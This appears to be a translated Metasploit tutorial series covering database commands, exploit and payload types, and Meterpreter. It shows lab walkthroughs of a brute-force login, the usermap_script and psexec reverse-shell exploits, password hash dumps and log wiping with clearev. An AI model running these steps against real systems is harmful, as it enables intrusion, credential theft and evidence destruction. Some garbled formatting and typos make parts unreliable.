When msfconsole starts, first check the database connection with the db_status command.
msf > db_status
> postgresql connected to msf
After establishing the database connection, we can organize the work we will do by recording it in folders called Workspace. Just as we record our records in folders according to their subjects on normal computers, the same approach applies to msfconsole.
Listing Workspaces
Simply giving the workspace command without any parameters lists the currently registered work folders. The currently active workspace is indicated with a * sign at the beginning.
The -a parameter is used to create a new Workspace, and the -d parameter is used to delete it. After the parameter, simply type the name of the Workspace you want to create or delete.
After the existing folders are listed with the workspace command, if we want to move to a folder other than the active one, it is enough to write the name of the folder we want to move to after the workspace command as follows.
msf > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)workspace -d [name] ... Delete workspace(s)workspace -D Delete all workspaces
workspace -r Rename workspace
workspace -h Show this help information
msf >
Now the results you will obtain from the scans you will perform will be recorded in the active workspace. Now, as the next step, let’s look at other commands we can use regarding the database.
First, let’s look at what commands msfconsole provides us regarding the database. When we give the help command in msfconsole, the database commands are shown to us under a separate heading as follows.
msf > help...snip...
Database Backend Commands=========================Command Description
------- -----------
credits List all credentials **in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts **in the database
loot List all loot **in the database
notes List all notes **in the database
services List all services **in the database
vulns List all vulnerabilities **in the database
workspace Switch between database workspaces
Database Usage
Let’s see the commands we viewed with the help command above with detailed examples.
db_import
This command allows us to import the scan results you made with nmap outside of msfconsole. You must have saved the output of the ```nmap`` scan in xml format.
In the example below, the file named /root/msfu/nmapScan is transferred to msfconsole. The IP addresses, ports, and all other result information will now be imported. The check was made with the hosts command given after the db_import command.
msf > db_import /root/msfu/nmapScan
> Importing 'Nmap XML' data
> Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'> Importing host 172.16.194.172
> Successfully imported /root/msfu/nmapScan
msf > hosts
Hosts=====address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
msf >
db_nmap
You can import nmap scan results from outside or inside with msfconsole You can perform an nmap scan without going out. The db_nmap command is used for this. Scans you perform with db_nmap will automatically be recorded in the active workspace.
msf > db_nmap -A 172.16.194.134
> Nmap: Starting Nmap 5.51SVN (<a href="http://nmap.org/">http://nmap.org</a> ) at 2012-06-18 12:36 EDT
> Nmap: Nmap scan report for 172.16.194.134
> Nmap: Host is up (0.00031s latency).
> Nmap: Not shown: 994 closed ports
> Nmap: PORT STATE SERVICE VERSION
> Nmap: 80/tcp open http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4
...snip...
> Nmap: HOP RTT ADDRESS
> Nmap: 1 0.31 ms 172.16.194.134
> Nmap: OS and Service detection performed. Please report any incorrect results at <a href="http://nmap.org/submit/">http://nmap.org/submit/</a> .
> Nmap: Nmap **done**: 1 IP address (1 host up) scanned **in **14.91 seconds
msf >
msf > hosts
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
msf >
db_export
You may want to export the scan results you made in a project you are working on and use them in your reports. There is a db_export command for this. When you give the -f parameter to the db_export command and the file name, the file you want is transferred to the external folder you specify. There are two different types of files in the export. All information in xml format or username and password etc. information in pwdump format.
First, let’s see the help information;
msf > db_export -h
Usage:
db_export -f [-a][filename]Format can be one of: xml, pwdump
[-] No output file was specified
Now let’s export the information in the workspace we are actively in in xml format.
msf > db_export -f xml /root/msfu/Exported.xml
> Starting export of workspace msfu to /root/msfu/Exported.xml [ xml ]...
> > Starting export of report
> > Starting export of hosts
> > Starting export of events
> > Starting export of services
> > Starting export of credentials
> > Starting export of websites
> > Starting export of web pages
> > Starting export of web forms
> > Starting export of web vulns
> > Finished export of report
> Finished export of workspace msfu to /root/msfu/Exported.xml [ xml ]...
hosts
The hosts command displays the scans performed so far. shows us the IP information, PORT information, etc. found as a result. First, let’s view the help information of the hosts command.
msf > hosts -h
Usage: hosts [ options ][addr1 addr2 ...]OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c Only show the given columns (see list below) -h,--help Show this help information
-u,--up Only show hosts which are up
-o Send output to a file **in **csv format
-O Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
-i,--info Change the info of a host
-n,--name Change the name of a host
-m,--comment Change the comment of a host
-t,--tag Add or specify a tag to a range of hosts
Displaying the requested columns in Hosts
When you use the hosts command alone, the stored information is organized and displayed in the columns listed below.
Now, let’s display only the columns and information we will use. To do this, we must write the -c parameter and the column names we want. In the example below, it is requested that the address, os_flavor columns and information be displayed.
We can transfer some information from the hosts list, where the information obtained from the scans we made is kept, to the modules we want to use. We displayed the columns we wanted with the hosts -c address,os_flavor command we used above. Now let’s search this list and search for the line that says “Ubuntu” in the results.
Here we found the IP Address we will use. Now let’s go into a module and look at the variables the module needs.
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
In the output above, the RHOSTS variable is seen as empty. The Remote Host IP address needs to be entered here. Normally, you can enter the process with the command set RHOSTS 172.16.194.172. However, setting this in multiple modules will increase the possibility of making an error each time.
In this case, we can transfer the IP address we found with the search we made with the command hosts -c address,os_flavor -S Linux directly to the module we are in by adding the -R parameter to the end. As seen in the example below, the “Ubuntu” IP address is directly transferred to the tcp module.
msf auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R
Hosts
**=====**
address os_flavor
------- ---------
172.16.194.172 Ubuntu
RHOSTS=> 172.16.194.172
msf auxiliary(tcp) > run
> 172.16.194.172:25 - TCP OPEN
> 172.16.194.172:23 - TCP OPEN
> 172.16.194.172:22 - TCP OPEN
> 172.16.194.172:21 - TCP OPEN
> 172.16.194.172:53 - TCP OPEN
> 172.16.194.172:80 - TCP OPEN
...snip...
> 172.16.194.172:5432 - TCP OPEN
> 172.16.194.172:5900 - TCP OPEN
> 172.16.194.172:6000 - TCP OPEN
> 172.16.194.172:6667 - TCP OPEN
> 172.16.194.172:6697 - TCP OPEN
> 172.16.194.172:8009 - TCP OPEN
> 172.16.194.172:8180 - TCP OPEN
> 172.16.194.172:8787 - TCP OPEN
> Scanned 1 of 1 hosts (100% complete)> Auxiliary module execution completed
Without filtering the hosts list, we can also transfer all the available IP addresses to the active module. In this case, it will be sufficient to give only the -R parameter to the hosts command without entering any search expression.
msf auxiliary(tcp) > hosts -R
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
RHOSTS=> 172.16.194.134 172.16.194.172
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 172.16.194.134 172.16.194.172 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
As you can see above, all IP addresses are transferred to RHOSTS. Although it is not time-consuming to enter a few IP addresses manually, you will definitely need this feature when you want to run a module on hundreds of IP addresses.
For example, you scanned a network and found 112 active devices and IP addresses. You want to try the smb_version module on all of them. At this point, the hosts -R command will make things much easier.
Services
While the hosts command gives the IP and other information found in the scans, the services command lists the services running and discovered on these IP addresses. Of course, you must have performed a service and version scan with the db_nmap command.
First, let’s view the help information.
msf > services -h
Usage: services [-h][-u][-a][-r ][-p >port1,port2>][-s >name1,name2>][-o ][addr1 addr2 ...] -a,--add Add the services instead of searching
-d,--delete Delete the services instead of searching
-c Only show the given columns
-h,--help Show this help information
-s Search for **a list of service names
-p Search for **a list of ports
-r Only show [tcp|udp] services
-u,--up Only show services which are up
-o Send output to a file **in **csv format
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
The services command shows us the information organized in the following columns.
Available columns: created_at, info, name, port, proto, state, updated_at
Just like we search in the hosts command, we can search in the columns in services with the -c parameter and a specific expression with the -S parameter.
Searching in Specific Columns
msf > services -c name,info 172.16.194.134
Services
**========**
hostname info
---- ---- ----
172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 msrpc Microsoft Windows RPC
172.16.194.134 netbios-ssn
172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 microsoft-ds Microsoft Windows XP microsoft-ds
172.16.194.134 mysql
Search for a Specific Expression in Specific Columns
Searching for Port Information of a Specific Service and IP Address
In a few examples above, we searched for a specific expression with -S (capital S). The -s parameter also makes it particularly easy to search the services list.
msf > services -s http -c port 172.16.194.134
Services
**========**
host port
---- ----
172.16.194.134 80172.16.194.134 443
Searching for an expression within Services
msf > services -S Unr
Services
**========**
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.194.172 6667 tcp irc open Unreal ircd
172.16.194.172 6697 tcp irc open Unreal ircd
CSV Export
Both hosts and also printing the search results we made on the information recorded in the services lists to the screen. You can also export as a comma-separated file in SV format. Here are a few examples.
msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv
> Wrote services to /root/msfu/http.csv
msf > hosts -S Linux -o /root/msfu/linux.csv
> Wrote hosts to /root/msfu/linux.csv
msf > cat /root/msfu/linux.csv
> exec: cat /root/msfu/linux.csv
address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""msf > cat /root/msfu/http.csv
> exec:cat /root/msfu/http.csv
host,port
"172.16.194.134","80""172.16.194.134","443"
Creds
The creds command, similar to the hosts and services commands, shows us the user information and passwords obtained in the scans. When you give the creds command without entering any additional parameters, all registered user information is listed.
msf > creds
Credentials
**============**
host port user pass type active?
---- ---- ---- ---- ---- -------
> Found 0 credentials.
Just as the results found in searches made with the db_nmap command are kept in the hosts and services tables, the information you obtain when you use any username and password finding module is also kept in the creds table. Let’s see an example. In this example, the mysql_login module is run and an attempt is made to log in to the MySql service running at the 172.16.194.172 IP address. When successful, the successful username and password information is recorded in the creds table for later use.
msf auxiliary(mysql_login) > run
> 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a
> 172.16.194.172:3306 MYSQL - [1/2] - Trying username:'root' with password:''> 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : ''> Scanned 1 of 1 hosts (100% complete)> Auxiliary module execution completed
msf auxiliary(mysql_login) > creds
Credentials
**===========**
host port user pass type active?
---- ---- ---- ---- ---- -------
172.16.194.172 3306 root password true>Found 1 credential.
msf auxiliary(mysql_login) >
Manually Adding Data to the Creds Table
When you log in to a system, you can also transfer the username and password information you found yourself without using a module to the creds table for later use, using the format in the example below
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
> Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134 port=445proto=tcp sname=type=password user=Administrator pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=truemsf > credits
Credentials
**===========**
host port user pass type active?
---- ---- ---- ---- ---- ---- ----
172.16.194.134 445 Administrator 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: password true> Found 1 credential.
Loot
In a system that is logged in, the hash table is usually first extracted by performing hashdump. Here, with the loot command, the information of the hash values obtained as a result of the scan can be seen. In the example below, loot help is displayed.
msf > loot -h
Usage: loot
Info: loot [-h][addr1 addr2 ...][-t ] Add: loot -f [fname] -i [info] -a [addr1 addr2 ...][-t [type] Del: loot -d [addr1 addr2 ...] -a,--add Add loot to the list of addresses, instead of listing
-d,--delete Delete *****all***** loot matching host and type -f,--file File with contents of the loot to add
-i,--info Info of the loot to add
-t Search for **a list of types
-h,--help Show this help information
-S,--search Search string to filter by
Then, using the usermap_script module, a session is opened on the opposite system and the hash values for the opened session are found with the hashdump module. If successful, the found hash values are recorded in the loot table for later use.
msf exploit(usermap_script) > exploit
> Started reverse double handler
> Accepted the first client connection...
> Accepted the second client connection...
> Command: echo 4uGPYOrars5OojdL;> Writing to socket A
> Writing to socket B
> Reading from sockets...
> Reading from socket B
> B: "4uGPYOrars5OojdL\r ">Matching...
> A is input...
> Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:55138) at 2012-06-27 19:38:54 -0400
^Z
Background session 1? [y/N] y
msf exploit(usermap_script) > use post/linux/gather/hashdump
msf post(hashdump) > show options
Module options (post/linux/gather/hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
msf post(hashdump) > sessions -l
Active sessions
**===============**
Id Type Information Connection
-- ---- ----------- ----------
1 shell unix 172.16.194.163:4444 -> 172.16.194.172:55138 (172.16.194.172)msf post(hashdump) > run
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
> Post module execution completed
To see the hash values stored in the database loot Just give the command.
msf post(hashdump) > loot
loot
**====**
host service type name content info path
---- ------- ---- ---- ------- ---- ----
172.16.194.172 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
172.16.194.172 linux.passwd passwd.tx text/plain Linux Passwd File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt
172.16.194.172 linux.shadow shadow.tx text/plain Linux Password Shadow File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt ```In this article, we tried to explain the `database` related commands shown in the `help`command given in `msfconsole`.
```bash
Database Backend Commands
**=========================**
Command Description
------- -----------
credits List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
You may think that we left out the vulns command. It is possible to guess more or less what the vulns command does. The article is long enough. I leave the vulns command to you
7 - Exploit Types in Metasploit Framework
Within the Metasploit Framework, all exploit modules are grouped as active and passive.
Within the Metasploit Framework, all exploit modules are grouped as active and passive.
Active Exploit
Active exploits will run on a specific target and continue to run until the process is completed. They stop running when they encounter any error.
For example, the Brute-force module runs until a shell command line is opened on the target computer and stops when it is finished. Since their processes can take a long time to complete, they can be sent to the background using the -j parameter.
In the example below, you can see that the ms08_067_netapi exploit is started and sent to the background.
In this example, a target computer (192.168.1.100) whose information was obtained through prior discovery is shown setting the necessary variables and starting to work. The psexec exploit and the reverse_tcp payload module are used to open a shell on the target computer.
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST=> 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD=> windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST=> 192.168.1.5
msf exploit(psexec) > set LPORT 4444LPORT=> 4444msf exploit(psexec) > set SMBUSER victim
SMBUSER=> victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS=> s3cr3t
msf exploit(psexec) > exploit
> Connecting to the server...
> Started reverse handler
> Authenticating as user 'victim'...
> Uploading payload...
> Created \hikmEeEM.exe...
> Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
> Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
> Obtaining a service manager handle...
> Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...
> Closing service handle...
> Opening service...
> Starting the service...
>Removing the service...
> Closing service handle...
> Deleting \hikmEeEM.exe...
> Sending stage (240 bytes)> Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:1073)Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Passive Exploit
Passive Exploits run passively on the local computer (our own computer) and remain listening. They wait for the target computer to somehow connect to the local computer.
Passive exploits almost always focus on clients such as Web browsers, FTP, etc. They can also be used in connections from files sent via e-mail. When a passive exploit runs, it starts waiting. When a user clicks on a link on the site or performs an action, that’s when the passive exploit in the listening receives the signal and opens a shell on the target.
You can see the list of exploits running in the background and listening by giving the -l parameter to the sessions command. You can use the -i parameter to go to the desired ID numbered process from the list.
In the example below, a user is expected to enter a Web page using the loadimage_chunksize exploit and reverse_tcp payload. The LHOST variable indicates the IP address of the computer that will listen locally, and the LPORT indicates the port number that will listen on the local computer.
msf > use exploit/windows/browser/ani_loadimage_chunksize
msf exploit(ani_loadimage_chunksize) > set URIPATH /
URIPATH=> /
msf exploit(ani_loadimage_chunksize) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD=> windows/shell/reverse_tcp
msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.1.5
LHOST=> 192.168.1.5
msf exploit(ani_loadimage_chunksize) > set LPORT 4444LPORT=> 4444msf exploit(ani_loadimage_chunksize) > exploit
> Exploit running as background job.
> Started reverse handler
> Using URL: <a href="http://0.0.0.0:8080/">http://0.0.0.0:8080/</a>
> Local IP: <a href="http://192.168.1.5:8080/">http://192.168.1.5:8080/</a>
> Server started.
msf exploit(ani_loadimage_chunksize) >
> Attempting to exploit ani_loadimage_chunksize
> Sending HTML page to 192.168.1.100:1077...
> Attempting to exploit ani_loadimage_chunksize
> Sending Windows ANI LoadAniIcon**()** Chunk Size Stack Overflow (HTTP) to 192.168.1.100:1077...
> Sending stage (240 bytes)> Command shell session 2 opened (192.168.1.5:4444 -> 192.168.1.100:1078)msf exploit(ani_loadimage_chunksize) > sessions -i 2> Starting interaction with 2...
Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\victim\Desktop>
You can send us other topics you want to be explained.
Video Anlatım
8 - Payload Types in Metasploit Framework
Payload refers to a type of exploit module. There are 3 different groups of payload modules in the Metasploit Framework.
What are Payload Groups?
Payload refers to a type of exploit module. There are 3 different groups of payload modules in the Metasploit Framework. We will look at these modules, which we can separate as Singles, Stagers and Stages.
Single payloads (Singles)
These types of payload modules contain all the codes and operations they need. They do not need any helper to work. For example, a payload that adds a user to the target system does its operation and stops. It does not need another command line, etc.
When they are a stand-alone program, they can be noticed and caught by programs such as netcat.
Let’s pay attention to the naming “windows/shell_bind_tcp”. For Windows, shell_bind_tcp works as a single payload. We will see a different naming in the next section.
Stagers
Stager payload modules are codes that establish a network connection between the target computer and the local computer. They usually contain small codes. They need a stage to work. Metasploit Framework will use the most suitable payload module, if it is not successful, the payload that promises less success will be automatically selected.
Let’s pay attention to the naming windows/shell/bind_tcp. Here bind_tcp is the stager and needs a stage. In this naming, shell between windows and bind_tcp refers to the stage.
Stages
The payload module types that we refer to as stages are used by stagers. Since they act as intermediaries, they are written in the middle part of the windows/shell/bind_tcp name. They do not have any size restrictions. Meterpreter, VNC Injection and iPhone ‘ipwn’ Shell can be given as examples.
What are the Payload Types?
In the first section of the article, we divided the Payloads into 3 groups. Now let’s examine the payloads according to their types.
Inline (Non Staged)
Such payloads work more stably because they contain the stage (shell) they need within themselves. When their size is a bit large, it is easier for the other party to notice. Some Exploits may not be able to use these payloads due to their limitations.
Staged
When stagers want to run information they receive from the other party on the other party, they use the stage provided to them. These types of payloads are called Staged.
Meterpreter
Meterpreter is a command line program with its name consisting of the combination of Meta-Interpreter expressions. It works via DLL injection and directly in RAM memory. It does not leave any residue on the hard disk. It is very useful to run or cancel code via Meterpreter.
PassiveX
PassiveX payload types are used to bypass firewalls. They create a hidden Internet Explorer process using ActiveX. These types of payload types use HTTP requests and responses to communicate with the target computer.
NoNX
Restricted areas called NX (No eXecute) bits are used to prohibit the processor from intervening in certain memory areas. If a program wants to intervene in the restricted area of RAM memory, this request is not fulfilled by the processor and this behavior is prevented by the DEP (Data Execution Prevention) system. NoNX payload types are used to overcome this restriction.
Ord
Ordinal payload modules run within Windows and are simple enough to work in almost all Windows versions. Although they can work in almost all versions, there is a prerequisite for these types of payloads to work. ws2_32.dll must be pre-loaded on the system. They are also not very stable.
IPv6
These types of payload modules are designed to be used for IPv6 network communication.
Reflective DLL injection
These types of payload modules are placed in the target system’s memory. They do not touch the hard disk and help to run payload types such as VNC, Meterpreter.
Video Explanation
9 - Meterpreter Commands
Meterpreter is a powerful tool that allows you to control a remote computer. In this article, we will examine the commands that can be used in Meterpreter.
In the previous article, we briefly explained what Meterpreter is. Now we will see the commands that can be used in detail. Although almost all commands are explained here, a few commands are left out because they can only be understood with experience. We will clarify them in time.
Meterpreter Commands
help
As the name suggests, when you give the help command in Meterpreter, it lists the available commands and gives short explanations.
meterpreter > helpCore Commands
**==============**
Command Description
------- -----------
? Help menu
background Backgrounds the current session
channel Displays information about active channels
...snip...
background
The background command sends the active Meterpreter session (session) to the background and brings you back to the msf > command prompt. You can use the sessions command to switch to the background Meterpreter session.
The clearev command means Clear Evidence. It tries to clean the log files created in the session opened on the other side.
meterpreter > clearev
> Wiping 97 records from Application...
> Wiping 415 records from System...
> Wiping 0 records from Security...
meterpreter >
download
It is used to download a file from the other computer. The downloaded file is saved in the folder you are in on your local system when you start metasploit.
The edit command opens a file on the remote computer in the vim editor for editing. For Vim Editor usage, you can visit
Vim page.
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop
**=================================================================**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
.
...snip...
.
100666/rw-rw-rw- 0 fil 2012-03-01 13:47:10 -0500 edit.txt
meterpreter > edit edit.txt
execute
The execute command allows you to run a command on the other side. If you notice, Meterpreter’s own commands are not run. A command is run on the other side’s command prompt.
meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
getuid
Displays the user ID of the system on which Meterpreter is running on the other side.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
hashdump
The hashdump command reveals the SAM database of the other computer. Of course, as we mentioned in our previous Database article, if you are using Workspace, it records it in the loot table.
meterpreter > run post/windows/gather/hashdump
> Obtaining the boot key...
> Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
> Obtaining the user list and keys...
> Decrypting user keys...
> Dumping password hashes...
Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAss ist:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
idletime
Shows how long the remote computer user has been idle.
meterpreter > idletime
User has been idle for**: 5 hours 26 mins 35 secs
meterpreter >
ipconfig
Displays the remote computer’s network information.
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address : 192.16868.1.104
Netmask : 255.255.0.0
meterpreter >
lpwd > lcd
While the Meterpreter command line is open, the commands you give will be processed on the other computer. However, we may want to see or change the folder we are in on our own computer. In this case, we can do this without sending Meterpreter to the background with the lpwd and lcd commands. lpwd: Shows which folder we are in on the local computer. (local print working directory) lcd: Used to go to the folder we want on the local computer. (local call directory)
It does the same as the ls command in the Linux operating system. It lists the files and folders in the current folder.
meterpreter > ls
Listing: C:\Documents and Settings\victim
**==============================**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Sat Oct 17 07:40:45 -0600 2009 .
40777/rwxrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 ..
100666/rw-rw-rw- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-used.xbel
40555/r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application Data
...snip...
migrate
Our Meterpreter server may be running inside the svchost.exe file on the other side. When we want to embed it in another program, we use the migrate command.
meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)[*] Migrating to explorer.exe...
[*] Migrating into process ID 816[*] New server process: Explorer.EXE (816)meterpreter >
ps
Displays all running processes on the target computer.
meterpreter > ps
Process list
**============**
PID Name Path
--- ---- ----
132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
288 snmp.exe C:\WINDOWS\System32\snmp.exe
...snip...
resource
When you connect to the other computer, after a while you realize that the operations you perform are the same. For example, you almost always perform operations such as giving the ls command, entering the programs folder with cd c:\Program Files, etc. You can record these operations in a file on the local computer, one command per line, and run them on the other side. The resource command is used to make this happen.
The point to note here is that the first file you give to the resource command is searched in the local folder you are in (lpwd). The second parameter is run in the folder you are in on the other side (pwd).
meterpreter > resource
Usage: resource path1 path2Run the commands stored **in the supplied files.
meterpreter >
ARGUMENTS:
path1: Our batch file in our local folder.
Path2Run: The opposite folder where the commands will be run
root@kali:~# cat resource.txt
ls
background
root@kali:~#
Running resource command:
meterpreter> > resource resource.txt
> Reading /root/resource.txt
> Running ls
Listing: C:\Documents and Settings\Administrator\Desktop
**=======================================================================**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2012-02-29 16:41:29 -0500 .
40777/rwxrwxrwx 0 dir 2012-02-02 12:24:40 -0500 ..
100666/rw-rw-rw- 606 fil 2012-02-15 17:37:48 -0500 IDA Pro Free.lnk
100777/rwxrwxrwx 681984 fil 2012-02-02 15:09:18 -0500 Sc303.exe
100666/rw-rw-rw- 608 fil 2012-02-28 19:18:34 -0500 Shortcut to Ability Server.lnk
100666/rw-rw-rw- 522 elephants 2012-02-02 12:33:38 -0500 XAMPP Control Panel.lnk
> Running background
> Backgrounding session 1...
msf exploit(handler) >
The shell command allows you to enter the Command Prompt line of the opposite system in Meterpreter.
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
upload
Allows you to upload a file to the other system. The target system’s file notation must be observed. Backticks must be noted.
In this article, we will briefly introduce Meterpreter, known as the command line environment provided to the user by the Metasploit Framework.
In this article, we will briefly introduce Meterpreter, known as the command line environment provided to the user by the Metasploit Framework. In the following articles, we will see plenty of commands and examples used in Meterpreter. Here is a brief introduction.
What is Meterpreter?
Meterpreter is an advanced Metasploit payload type. It works dynamically on the target computer with DLL Injection logic. It communicates with the local computer on the network using stager payloads and sockets. It has command history, command completion, etc. capabilities. In short, we can say that it is a very effective command line running on the other party computer.
How Does Meterpreter Work?
